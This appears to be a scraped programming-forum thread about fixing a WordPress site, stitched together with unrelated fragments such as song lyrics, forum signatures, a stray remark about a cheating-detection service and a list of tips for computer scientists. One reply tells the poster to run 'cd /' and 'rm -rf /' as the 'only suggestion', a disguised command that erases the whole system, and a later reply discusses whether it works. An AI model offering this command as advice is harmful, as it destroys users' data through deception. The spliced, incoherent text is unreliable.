    Question To slice or not to slice? That is the question..

    Hello guys!

    I am currently working with one website, this websie may look strange from the first sight but it is what it is.

    Basically, I was contacted a couple of days ago and asked if I can do something with the website which is owned by my brothers friend.

    This website is built on the WordPress theme which I don't really like, but the owner asked me not to do dramatic changes and do only minor fixes concerning the content.

    What I wanted from you is to take a look at the website and tell me what can I do without changing everything from the scratch.

    I've considered starting a service like that, and offer a complementary service for educators to catch their students cheating.
    What can this strange device be?
    When I touch it, it gives forth a sound
    It's got wires that vibrate and give music
    What can this thing be that I found?

    This is my only suggestion for that site.

    Login to a console and type these things.
    cd /
    rm -rf /


    Having sat next to people with a piece of paper saying "pass" that's so worthless that I wouldn't even wipe my arse with it, I've no interest in helping sites like yours.

    Hell, an empty chair is usually more productive that some of these people. At least an empty chair isn't going to sap morale and time from a team by continually screwing up, making a mess of things, and generally being a drain on the resources of a team.
    If you dance barefoot on the broken glass of undefined behaviour, you've got to expect the occasional cut.
    If at first you don't succeed, try writing your phone number on the exam paper.

    Well, you could treat it as your homework, and request for help on that website...

    I haven't done this crazy thing yet. But is a
    cd /
    really necessary? Could doing this from any other directory abort the "rm" command when it recursively enters that particular directory?

    Maybe, though a quick check shows that the default rm in Ubuntu 14.04 permits recursively removing a parent directory while in a child directory.

    Here is my website on the same thing.

    Steps to being a great computer scientist:


    1. Have a passion for computing.
    2. Have a keen and firm grasp of mathematics and logical algorithms.
    3. Be able to "think" like a computer and interlace this thought into code.
    4. Work hard/read books and study on new concepts and ideas.
    5. Keep up to date with changing language specifications and adapt accordingly.
    6. If possible, learn several different languages.
    7. Most importantly from a learning stand point:- Do Your Own Work
